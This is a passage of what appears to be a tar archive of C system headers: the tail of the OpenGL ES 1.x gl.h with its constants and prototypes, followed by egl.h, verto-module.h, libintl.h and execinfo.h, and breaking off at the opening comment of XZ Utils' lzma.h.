0x1602 #define GL_MODELVIEW 0x1700 #define GL_PROJECTION 0x1701 #define GL_TEXTURE 0x1702 #define GL_ALPHA 0x1906 #define GL_RGB 0x1907 #define GL_RGBA 0x1908 #define GL_LUMINANCE 0x1909 #define GL_LUMINANCE_ALPHA 0x190A #define GL_UNPACK_ALIGNMENT 0x0CF5 #define GL_PACK_ALIGNMENT 0x0D05 #define GL_UNSIGNED_SHORT_4_4_4_4 0x8033 #define GL_UNSIGNED_SHORT_5_5_5_1 0x8034 #define GL_UNSIGNED_SHORT_5_6_5 0x8363 #define GL_FLAT 0x1D00 #define GL_SMOOTH 0x1D01 #define GL_KEEP 0x1E00 #define GL_REPLACE 0x1E01 #define GL_INCR 0x1E02 #define GL_DECR 0x1E03 #define GL_VENDOR 0x1F00 #define GL_RENDERER 0x1F01 #define GL_VERSION 0x1F02 #define GL_EXTENSIONS 0x1F03 #define GL_MODULATE 0x2100 #define GL_DECAL 0x2101 #define GL_ADD 0x0104 #define GL_TEXTURE_ENV_MODE 0x2200 #define GL_TEXTURE_ENV_COLOR 0x2201 #define GL_TEXTURE_ENV 0x2300 #define GL_NEAREST 0x2600 #define GL_LINEAR 0x2601 #define GL_NEAREST_MIPMAP_NEAREST 0x2700 #define GL_LINEAR_MIPMAP_NEAREST 0x2701 #define GL_NEAREST_MIPMAP_LINEAR 0x2702 #define GL_LINEAR_MIPMAP_LINEAR 0x2703 #define GL_TEXTURE_MAG_FILTER 0x2800 #define GL_TEXTURE_MIN_FILTER 0x2801 #define GL_TEXTURE_WRAP_S 0x2802 #define GL_TEXTURE_WRAP_T 0x2803 #define GL_GENERATE_MIPMAP 0x8191 #define GL_TEXTURE0 0x84C0 #define GL_TEXTURE1 0x84C1 #define GL_TEXTURE2 0x84C2 #define GL_TEXTURE3 0x84C3 #define GL_TEXTURE4 0x84C4 #define GL_TEXTURE5 0x84C5 #define GL_TEXTURE6 0x84C6 #define GL_TEXTURE7 0x84C7 #define GL_TEXTURE8 0x84C8 #define GL_TEXTURE9 0x84C9 #define GL_TEXTURE10 0x84CA #define GL_TEXTURE11 0x84CB #define GL_TEXTURE12 0x84CC #define GL_TEXTURE13 0x84CD #define GL_TEXTURE14 0x84CE #define GL_TEXTURE15 0x84CF #define GL_TEXTURE16 0x84D0 #define GL_TEXTURE17 0x84D1 #define GL_TEXTURE18 0x84D2 #define GL_TEXTURE19 0x84D3 #define GL_TEXTURE20 0x84D4 #define GL_TEXTURE21 0x84D5 #define GL_TEXTURE22 0x84D6 #define GL_TEXTURE23 0x84D7 #define GL_TEXTURE24 0x84D8 #define GL_TEXTURE25 0x84D9 #define GL_TEXTURE26 0x84DA #define GL_TEXTURE27 0x84DB #define GL_TEXTURE28 0x84DC #define GL_TEXTURE29 0x84DD #define GL_TEXTURE30 0x84DE #define GL_TEXTURE31 0x84DF #define GL_ACTIVE_TEXTURE 0x84E0 #define GL_CLIENT_ACTIVE_TEXTURE 0x84E1 #define GL_REPEAT 0x2901 #define GL_CLAMP_TO_EDGE 0x812F #define GL_LIGHT0 0x4000 #define GL_LIGHT1 0x4001 #define GL_LIGHT2 0x4002 #define GL_LIGHT3 0x4003 #define GL_LIGHT4 0x4004 #define GL_LIGHT5 0x4005 #define GL_LIGHT6 0x4006 #define GL_LIGHT7 0x4007 #define GL_ARRAY_BUFFER 0x8892 #define GL_ELEMENT_ARRAY_BUFFER 0x8893 #define GL_ARRAY_BUFFER_BINDING 0x8894 #define GL_ELEMENT_ARRAY_BUFFER_BINDING 0x8895 #define GL_VERTEX_ARRAY_BUFFER_BINDING 0x8896 #define GL_NORMAL_ARRAY_BUFFER_BINDING 0x8897 #define GL_COLOR_ARRAY_BUFFER_BINDING 0x8898 #define GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING 0x889A #define GL_STATIC_DRAW 0x88E4 #define GL_DYNAMIC_DRAW 0x88E8 #define GL_BUFFER_SIZE 0x8764 #define GL_BUFFER_USAGE 0x8765 #define GL_SUBTRACT 0x84E7 #define GL_COMBINE 0x8570 #define GL_COMBINE_RGB 0x8571 #define GL_COMBINE_ALPHA 0x8572 #define GL_RGB_SCALE 0x8573 #define GL_ADD_SIGNED 0x8574 #define GL_INTERPOLATE 0x8575 #define GL_CONSTANT 0x8576 #define GL_PRIMARY_COLOR 0x8577 #define GL_PREVIOUS 0x8578 #define GL_OPERAND0_RGB 0x8590 #define GL_OPERAND1_RGB 0x8591 #define GL_OPERAND2_RGB 0x8592 #define GL_OPERAND0_ALPHA 0x8598 #define GL_OPERAND1_ALPHA 0x8599 #define GL_OPERAND2_ALPHA 0x859A #define GL_ALPHA_SCALE 0x0D1C #define GL_SRC0_RGB 0x8580 #define GL_SRC1_RGB 0x8581 #define GL_SRC2_RGB 0x8582 #define GL_SRC0_ALPHA 0x8588 #define GL_SRC1_ALPHA 0x8589 #define GL_SRC2_ALPHA 0x858A #define GL_DOT3_RGB 0x86AE #define GL_DOT3_RGBA 0x86AF GL_API void GL_APIENTRY glAlphaFunc (GLenum func, GLfloat ref); GL_API void GL_APIENTRY glClearColor (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); GL_API void GL_APIENTRY glClearDepthf (GLfloat d); GL_API void GL_APIENTRY glClipPlanef (GLenum p, const GLfloat *eqn); GL_API void GL_APIENTRY glColor4f (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); GL_API void GL_APIENTRY glDepthRangef (GLfloat n, GLfloat f); GL_API void GL_APIENTRY glFogf (GLenum pname, GLfloat param); GL_API void GL_APIENTRY glFogfv (GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glFrustumf (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); GL_API void GL_APIENTRY glGetClipPlanef (GLenum plane, GLfloat *equation); GL_API void GL_APIENTRY glGetFloatv (GLenum pname, GLfloat *data); GL_API void GL_APIENTRY glGetLightfv (GLenum light, GLenum pname, GLfloat *params); GL_API void GL_APIENTRY glGetMaterialfv (GLenum face, GLenum pname, GLfloat *params); GL_API void GL_APIENTRY glGetTexEnvfv (GLenum target, GLenum pname, GLfloat *params); GL_API void GL_APIENTRY glGetTexParameterfv (GLenum target, GLenum pname, GLfloat *params); GL_API void GL_APIENTRY glLightModelf (GLenum pname, GLfloat param); GL_API void GL_APIENTRY glLightModelfv (GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glLightf (GLenum light, GLenum pname, GLfloat param); GL_API void GL_APIENTRY glLightfv (GLenum light, GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glLineWidth (GLfloat width); GL_API void GL_APIENTRY glLoadMatrixf (const GLfloat *m); GL_API void GL_APIENTRY glMaterialf (GLenum face, GLenum pname, GLfloat param); GL_API void GL_APIENTRY glMaterialfv (GLenum face, GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glMultMatrixf (const GLfloat *m); GL_API void GL_APIENTRY glMultiTexCoord4f (GLenum target, GLfloat s, GLfloat t, GLfloat r, GLfloat q); GL_API void GL_APIENTRY glNormal3f (GLfloat nx, GLfloat ny, GLfloat nz); GL_API void GL_APIENTRY glOrthof (GLfloat l, GLfloat r, GLfloat b, GLfloat t, GLfloat n, GLfloat f); GL_API void GL_APIENTRY glPointParameterf (GLenum pname, GLfloat param); GL_API void GL_APIENTRY glPointParameterfv (GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glPointSize (GLfloat size); GL_API void GL_APIENTRY glPolygonOffset (GLfloat factor, GLfloat units); GL_API void GL_APIENTRY glRotatef (GLfloat angle, GLfloat x, GLfloat y, GLfloat z); GL_API void GL_APIENTRY glScalef (GLfloat x, GLfloat y, GLfloat z); GL_API void GL_APIENTRY glTexEnvf (GLenum target, GLenum pname, GLfloat param); GL_API void GL_APIENTRY glTexEnvfv (GLenum target, GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glTexParameterf (GLenum target, GLenum pname, GLfloat param); GL_API void GL_APIENTRY glTexParameterfv (GLenum target, GLenum pname, const GLfloat *params); GL_API void GL_APIENTRY glTranslatef (GLfloat x, GLfloat y, GLfloat z); GL_API void GL_APIENTRY glActiveTexture (GLenum texture); GL_API void GL_APIENTRY glAlphaFuncx (GLenum func, GLfixed ref); GL_API void GL_APIENTRY glBindBuffer (GLenum target, GLuint buffer); GL_API void GL_APIENTRY glBindTexture (GLenum target, GLuint texture); GL_API void GL_APIENTRY glBlendFunc (GLenum sfactor, GLenum dfactor); GL_API void GL_APIENTRY glBufferData (GLenum target, GLsizeiptr size, const void *data, GLenum usage); GL_API void GL_APIENTRY glBufferSubData (GLenum target, GLintptr offset, GLsizeiptr size, const void *data); GL_API void GL_APIENTRY glClear (GLbitfield mask); GL_API void GL_APIENTRY glClearColorx (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); GL_API void GL_APIENTRY glClearDepthx (GLfixed depth); GL_API void GL_APIENTRY glClearStencil (GLint s); GL_API void GL_APIENTRY glClientActiveTexture (GLenum texture); GL_API void GL_APIENTRY glClipPlanex (GLenum plane, const GLfixed *equation); GL_API void GL_APIENTRY glColor4ub (GLubyte red, GLubyte green, GLubyte blue, GLubyte alpha); GL_API void GL_APIENTRY glColor4x (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); GL_API void GL_APIENTRY glColorMask (GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha); GL_API void GL_APIENTRY glColorPointer (GLint size, GLenum type, GLsizei stride, const void *pointer); GL_API void GL_APIENTRY glCompressedTexImage2D (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLint border, GLsizei imageSize, const void *data); GL_API void GL_APIENTRY glCompressedTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLsizei imageSize, const void *data); GL_API void GL_APIENTRY glCopyTexImage2D (GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, GLint border); GL_API void GL_APIENTRY glCopyTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint x, GLint y, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glCullFace (GLenum mode); GL_API void GL_APIENTRY glDeleteBuffers (GLsizei n, const GLuint *buffers); GL_API void GL_APIENTRY glDeleteTextures (GLsizei n, const GLuint *textures); GL_API void GL_APIENTRY glDepthFunc (GLenum func); GL_API void GL_APIENTRY glDepthMask (GLboolean flag); GL_API void GL_APIENTRY glDepthRangex (GLfixed n, GLfixed f); GL_API void GL_APIENTRY glDisable (GLenum cap); GL_API void GL_APIENTRY glDisableClientState (GLenum array); GL_API void GL_APIENTRY glDrawArrays (GLenum mode, GLint first, GLsizei count); GL_API void GL_APIENTRY glDrawElements (GLenum mode, GLsizei count, GLenum type, const void *indices); GL_API void GL_APIENTRY glEnable (GLenum cap); GL_API void GL_APIENTRY glEnableClientState (GLenum array); GL_API void GL_APIENTRY glFinish (void); GL_API void GL_APIENTRY glFlush (void); GL_API void GL_APIENTRY glFogx (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glFogxv (GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY glFrontFace (GLenum mode); GL_API void GL_APIENTRY glFrustumx (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); GL_API void GL_APIENTRY glGetBooleanv (GLenum pname, GLboolean *data); GL_API void GL_APIENTRY glGetBufferParameteriv (GLenum target, GLenum pname, GLint *params); GL_API void GL_APIENTRY glGetClipPlanex (GLenum plane, GLfixed *equation); GL_API void GL_APIENTRY glGenBuffers (GLsizei n, GLuint *buffers); GL_API void GL_APIENTRY glGenTextures (GLsizei n, GLuint *textures); GL_API GLenum GL_APIENTRY glGetError (void); GL_API void GL_APIENTRY glGetFixedv (GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetIntegerv (GLenum pname, GLint *data); GL_API void GL_APIENTRY glGetLightxv (GLenum light, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetMaterialxv (GLenum face, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetPointerv (GLenum pname, void **params); GL_API const GLubyte *GL_APIENTRY glGetString (GLenum name); GL_API void GL_APIENTRY glGetTexEnviv (GLenum target, GLenum pname, GLint *params); GL_API void GL_APIENTRY glGetTexEnvxv (GLenum target, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetTexParameteriv (GLenum target, GLenum pname, GLint *params); GL_API void GL_APIENTRY glGetTexParameterxv (GLenum target, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glHint (GLenum target, GLenum mode); GL_API GLboolean GL_APIENTRY glIsBuffer (GLuint buffer); GL_API GLboolean GL_APIENTRY glIsEnabled (GLenum cap); GL_API GLboolean GL_APIENTRY glIsTexture (GLuint texture); GL_API void GL_APIENTRY glLightModelx (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glLightModelxv (GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY glLightx (GLenum light, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glLightxv (GLenum light, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glLineWidthx (GLfixed width); GL_API void GL_APIENTRY glLoadIdentity (void); GL_API void GL_APIENTRY glLoadMatrixx (const GLfixed *m); GL_API void GL_APIENTRY glLogicOp (GLenum opcode); GL_API void GL_APIENTRY glMaterialx (GLenum face, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glMaterialxv (GLenum face, GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY glMatrixMode (GLenum mode); GL_API void GL_APIENTRY glMultMatrixx (const GLfixed *m); GL_API void GL_APIENTRY glMultiTexCoord4x (GLenum texture, GLfixed s, GLfixed t, GLfixed r, GLfixed q); GL_API void GL_APIENTRY glNormal3x (GLfixed nx, GLfixed ny, GLfixed nz); GL_API void GL_APIENTRY glNormalPointer (GLenum type, GLsizei stride, const void *pointer); GL_API void GL_APIENTRY glOrthox (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); GL_API void GL_APIENTRY glPixelStorei (GLenum pname, GLint param); GL_API void GL_APIENTRY glPointParameterx (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glPointParameterxv (GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glPointSizex (GLfixed size); GL_API void GL_APIENTRY glPolygonOffsetx (GLfixed factor, GLfixed units); GL_API void GL_APIENTRY glPopMatrix (void); GL_API void GL_APIENTRY glPushMatrix (void); GL_API void GL_APIENTRY glReadPixels (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, void *pixels); GL_API void GL_APIENTRY glRotatex (GLfixed angle, GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glSampleCoverage (GLfloat value, GLboolean invert); GL_API void GL_APIENTRY glSampleCoveragex (GLclampx value, GLboolean invert); GL_API void GL_APIENTRY glScalex (GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glScissor (GLint x, GLint y, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glShadeModel (GLenum mode); GL_API void GL_APIENTRY glStencilFunc (GLenum func, GLint ref, GLuint mask); GL_API void GL_APIENTRY glStencilMask (GLuint mask); GL_API void GL_APIENTRY glStencilOp (GLenum fail, GLenum zfail, GLenum zpass); GL_API void GL_APIENTRY glTexCoordPointer (GLint size, GLenum type, GLsizei stride, const void *pointer); GL_API void GL_APIENTRY glTexEnvi (GLenum target, GLenum pname, GLint param); GL_API void GL_APIENTRY glTexEnvx (GLenum target, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glTexEnviv (GLenum target, GLenum pname, const GLint *params); GL_API void GL_APIENTRY glTexEnvxv (GLenum target, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glTexImage2D (GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, const void *pixels); GL_API void GL_APIENTRY glTexParameteri (GLenum target, GLenum pname, GLint param); GL_API void GL_APIENTRY glTexParameterx (GLenum target, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glTexParameteriv (GLenum target, GLenum pname, const GLint *params); GL_API void GL_APIENTRY glTexParameterxv (GLenum target, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLenum type, const void *pixels); GL_API void GL_APIENTRY glTranslatex (GLfixed x, GLfixed y, GLfixed z); GL_API void GL_APIENTRY glVertexPointer (GLint size, GLenum type, GLsizei stride, const void *pointer); GL_API void GL_APIENTRY glViewport (GLint x, GLint y, GLsizei width, GLsizei height); #endif /* GL_VERSION_ES_CM_1_0 */ #ifndef GL_OES_compressed_paletted_texture #define GL_OES_compressed_paletted_texture 1 #define GL_PALETTE4_RGB8_OES 0x8B90 #define GL_PALETTE4_RGBA8_OES 0x8B91 #define GL_PALETTE4_R5_G6_B5_OES 0x8B92 #define GL_PALETTE4_RGBA4_OES 0x8B93 #define GL_PALETTE4_RGB5_A1_OES 0x8B94 #define GL_PALETTE8_RGB8_OES 0x8B95 #define GL_PALETTE8_RGBA8_OES 0x8B96 #define GL_PALETTE8_R5_G6_B5_OES 0x8B97 #define GL_PALETTE8_RGBA4_OES 0x8B98 #define GL_PALETTE8_RGB5_A1_OES 0x8B99 #endif /* GL_OES_compressed_paletted_texture */ #ifndef GL_OES_point_size_array #define GL_OES_point_size_array 1 #define GL_POINT_SIZE_ARRAY_OES 0x8B9C #define GL_POINT_SIZE_ARRAY_TYPE_OES 0x898A #define GL_POINT_SIZE_ARRAY_STRIDE_OES 0x898B #define GL_POINT_SIZE_ARRAY_POINTER_OES 0x898C #define GL_POINT_SIZE_ARRAY_BUFFER_BINDING_OES 0x8B9F GL_API void GL_APIENTRY glPointSizePointerOES (GLenum type, GLsizei stride, const void *pointer); #endif /* GL_OES_point_size_array */ #ifndef GL_OES_point_sprite #define GL_OES_point_sprite 1 #define GL_POINT_SPRITE_OES 0x8861 #define GL_COORD_REPLACE_OES 0x8862 #endif /* GL_OES_point_sprite */ #ifndef GL_OES_read_format #define GL_OES_read_format 1 #define GL_IMPLEMENTATION_COLOR_READ_TYPE_OES 0x8B9A #define GL_IMPLEMENTATION_COLOR_READ_FORMAT_OES 0x8B9B #endif /* GL_OES_read_format */ #ifdef __cplusplus } #endif #endif GLES/egl.h 0000644 00000001632 15246445047 0006233 0 ustar 00 /* ** Copyright (c) 2008-2017 The Khronos Group Inc. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ /* * Skeleton egl.h to provide compatibility for early GLES 1.0 * applications. Several early implementations included gl.h * in egl.h leading applications to include only egl.h */ #ifndef __legacy_egl_h_ #define __legacy_egl_h_ #include <EGL/egl.h> #include <GLES/gl.h> #endif /* __legacy_egl_h_ */ verto-module.h 0000644 00000014760 15246445047 0007362 0 ustar 00 /* * Copyright 2011 Red Hat, Inc. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation files * (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ /*** THE FOLLOWING ARE FOR IMPLEMENTATION MODULES ONLY ***/ #ifndef VERTO_MODULE_H_ #define VERTO_MODULE_H_ #include <verto.h> #ifndef VERTO_MODULE_TYPES #define VERTO_MODULE_TYPES typedef void verto_mod_ctx; typedef void verto_mod_ev; #endif #define VERTO_MODULE_VERSION 3 #define VERTO_MODULE_TABLE(name) verto_module_table_ ## name #define VERTO_MODULE(name, symb, types) \ static verto_ctx_funcs name ## _funcs = { \ name ## _ctx_new, \ name ## _ctx_default, \ name ## _ctx_free, \ name ## _ctx_run, \ name ## _ctx_run_once, \ name ## _ctx_break, \ name ## _ctx_reinitialize, \ name ## _ctx_set_flags, \ name ## _ctx_add, \ name ## _ctx_del \ }; \ verto_module VERTO_MODULE_TABLE(name) = { \ VERTO_MODULE_VERSION, \ # name, \ # symb, \ types, \ &name ## _funcs, \ }; \ verto_ctx * \ verto_new_ ## name() \ { \ return verto_convert(name, 0, NULL); \ } \ verto_ctx * \ verto_default_ ## name() \ { \ return verto_convert(name, 1, NULL); \ } typedef struct { /* Required */ verto_mod_ctx *(*ctx_new)(); /* Optional */ verto_mod_ctx *(*ctx_default)(); /* Required */ void (*ctx_free)(verto_mod_ctx *ctx); /* Optional */ void (*ctx_run)(verto_mod_ctx *ctx); /* Required */ void (*ctx_run_once)(verto_mod_ctx *ctx); /* Optional */ void (*ctx_break)(verto_mod_ctx *ctx); /* Optional */ void (*ctx_reinitialize)(verto_mod_ctx *ctx); /* Optional */ void (*ctx_set_flags)(verto_mod_ctx *ctx, const verto_ev *ev, verto_mod_ev *modev); /* Required */ verto_mod_ev *(*ctx_add)(verto_mod_ctx *ctx, const verto_ev *ev, verto_ev_flag *flags); /* Required */ void (*ctx_del)(verto_mod_ctx *ctx, const verto_ev *ev, verto_mod_ev *modev); } verto_ctx_funcs; typedef struct { unsigned int vers; const char *name; const char *symb; verto_ev_type types; verto_ctx_funcs *funcs; } verto_module; /** * Converts an existing implementation specific loop to a verto_ctx. * * This function also sets the internal default implementation so that future * calls to verto_new(NULL) or verto_default(NULL) will use this specific * implementation if it was not already set. * * @param name The name of the module (unquoted) * @param deflt Whether the ctx is the default context or not * @param ctx The context to store * @return A new verto_ctx, or NULL on error. Call verto_free() when done. */ #define verto_convert(name, deflt, ctx) \ verto_convert_module(&VERTO_MODULE_TABLE(name), deflt, ctx) /** * Converts an existing implementation specific loop to a verto_ctx. * * If you are a module implementation, you probably want the macro above. This * function is generally used directly only when an application is attempting * to expose a home-grown event loop to verto. * * If deflt is non-zero and a default ctx was already defined for this module * and ctx is not NULL, than ctx will be free'd and the previously defined * default will be returned. * * If ctx is non-NULL, than the pre-existing verto_mod_ctx will be converted to * to a verto_ctx; if deflt is non-zero than this verto_mod_ctx will also be * marked as the default loop for this process. If ctx is NULL, than the * appropriate constructor will be called: either module->ctx_new() or * module->ctx_default() depending on the boolean value of deflt. If * module->ctx_default is NULL and deflt is non-zero, than module->ctx_new() * will be called and the resulting verto_mod_ctx will be utilized as the * default. * * This function also sets the internal default implementation so that future * calls to verto_new(NULL) or verto_default(NULL) will use this specific * implementation if it was not already set. * * @param name The name of the module (unquoted) * @param ctx The context private to store * @return A new verto_ctx, or NULL on error. Call verto_free() when done. */ verto_ctx * verto_convert_module(const verto_module *module, int deflt, verto_mod_ctx *ctx); /** * Calls the callback of the verto_ev and then frees it via verto_del(). * * The verto_ev is not freed (verto_del() is not called) if it is a signal event. * * @see verto_add_read() * @see verto_add_write() * @see verto_add_timeout() * @see verto_add_idle() * @see verto_add_signal() * @see verto_add_child() * @see verto_del() * @param ev The verto_ev */ void verto_fire(verto_ev *ev); /** * Sets the status of the pid/handle which caused this event to fire. * * This function does nothing if the verto_ev is not a child type. * * @see verto_add_child() * @param ev The verto_ev to set the status in. * @param status The pid/handle status. */ void verto_set_proc_status(verto_ev *ev, verto_proc_status status); /** * Sets the state of the fd which caused this event to fire. * * This function does nothing if the verto_ev is not a io type. * * Only the flags VERTO_EV_FLAG_IO_(READ|WRITE|ERROR) are supported. All other * flags are unset. * * @see verto_add_io() * @param ev The verto_ev to set the state in. * @param state The fd state. */ void verto_set_fd_state(verto_ev *ev, verto_ev_flag state); #endif /* VERTO_MODULE_H_ */ libintl.h 0000644 00000010743 15246445047 0006372 0 ustar 00 /* Message catalogs for internationalization. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. This file is derived from the file libgettext.h in the GNU gettext package. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _LIBINTL_H #define _LIBINTL_H 1 #include <features.h> /* We define an additional symbol to signal that we use the GNU implementation of gettext. */ #define __USE_GNU_GETTEXT 1 /* Provide information about the supported file formats. Returns the maximum minor revision number supported for a given major revision. */ #define __GNU_GETTEXT_SUPPORTED_REVISION(major) \ ((major) == 0 ? 1 : -1) __BEGIN_DECLS /* Look up MSGID in the current default message catalog for the current LC_MESSAGES locale. If not found, returns MSGID itself (the default text). */ extern char *gettext (const char *__msgid) __THROW __attribute_format_arg__ (1); /* Look up MSGID in the DOMAINNAME message catalog for the current LC_MESSAGES locale. */ extern char *dgettext (const char *__domainname, const char *__msgid) __THROW __attribute_format_arg__ (2); extern char *__dgettext (const char *__domainname, const char *__msgid) __THROW __attribute_format_arg__ (2); /* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY locale. */ extern char *dcgettext (const char *__domainname, const char *__msgid, int __category) __THROW __attribute_format_arg__ (2); extern char *__dcgettext (const char *__domainname, const char *__msgid, int __category) __THROW __attribute_format_arg__ (2); /* Similar to `gettext' but select the plural form corresponding to the number N. */ extern char *ngettext (const char *__msgid1, const char *__msgid2, unsigned long int __n) __THROW __attribute_format_arg__ (1) __attribute_format_arg__ (2); /* Similar to `dgettext' but select the plural form corresponding to the number N. */ extern char *dngettext (const char *__domainname, const char *__msgid1, const char *__msgid2, unsigned long int __n) __THROW __attribute_format_arg__ (2) __attribute_format_arg__ (3); /* Similar to `dcgettext' but select the plural form corresponding to the number N. */ extern char *dcngettext (const char *__domainname, const char *__msgid1, const char *__msgid2, unsigned long int __n, int __category) __THROW __attribute_format_arg__ (2) __attribute_format_arg__ (3); /* Set the current default message catalog to DOMAINNAME. If DOMAINNAME is null, return the current default. If DOMAINNAME is "", reset to the default of "messages". */ extern char *textdomain (const char *__domainname) __THROW; /* Specify that the DOMAINNAME message catalog will be found in DIRNAME rather than in the system locale data base. */ extern char *bindtextdomain (const char *__domainname, const char *__dirname) __THROW; /* Specify the character encoding in which the messages from the DOMAINNAME message catalog will be returned. */ extern char *bind_textdomain_codeset (const char *__domainname, const char *__codeset) __THROW; /* Optimized version of the function above. */ #if defined __OPTIMIZE__ && !defined __cplusplus /* We need NULL for `gettext'. */ # define __need_NULL # include <stddef.h> /* We need LC_MESSAGES for `dgettext'. */ # include <locale.h> /* These must be macros. Inlined functions are useless because the `__builtin_constant_p' predicate in dcgettext would always return false. */ # define gettext(msgid) dgettext (NULL, msgid) # define dgettext(domainname, msgid) \ dcgettext (domainname, msgid, LC_MESSAGES) # define ngettext(msgid1, msgid2, n) dngettext (NULL, msgid1, msgid2, n) # define dngettext(domainname, msgid1, msgid2, n) \ dcngettext (domainname, msgid1, msgid2, n, LC_MESSAGES) #endif /* Optimizing. */ __END_DECLS #endif /* libintl.h */ execinfo.h 0000644 00000002762 15246445047 0006537 0 ustar 00 /* Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _EXECINFO_H #define _EXECINFO_H 1 #include <features.h> __BEGIN_DECLS /* Store up to SIZE return address of the current program state in ARRAY and return the exact number of values stored. */ extern int backtrace (void **__array, int __size) __nonnull ((1)); /* Return names of functions from the backtrace list in ARRAY in a newly malloc()ed memory block. */ extern char **backtrace_symbols (void *const *__array, int __size) __THROW __nonnull ((1)); /* This function is similar to backtrace_symbols() but it writes the result immediately to a file. */ extern void backtrace_symbols_fd (void *const *__array, int __size, int __fd) __THROW __nonnull ((1)); __END_DECLS #endif /* execinfo.h */ lzma.h 0000644 00000023131 15246445047 0005673 0 ustar 00 /** * \file api/lzma.h * \brief The public API of liblzma data compression library * * liblzma is a public domain general-purpose data compression library with * a zlib-like API. The native file format is .xz, but also the old .lzma * format and raw (no headers) streams are supported. Multiple compression * algorithms (filters) are supported. Currently LZMA2 is the primary filter. * * liblzma is part of XZ Utils <http://tukaani.org/xz/>. XZ Utils includes * a gzip-like command line tool named xz and some other tools. XZ Utils * is developed and maintained by Lasse Collin. * * Major parts of liblzma are based on Igor Pavlov's public domain LZMA SDK * <http://7-zip.org/sdk.html>. * * The SHA-256 implementation is based on the public domain code found from * 7-Zip <http://7-zip.org/>, which has a 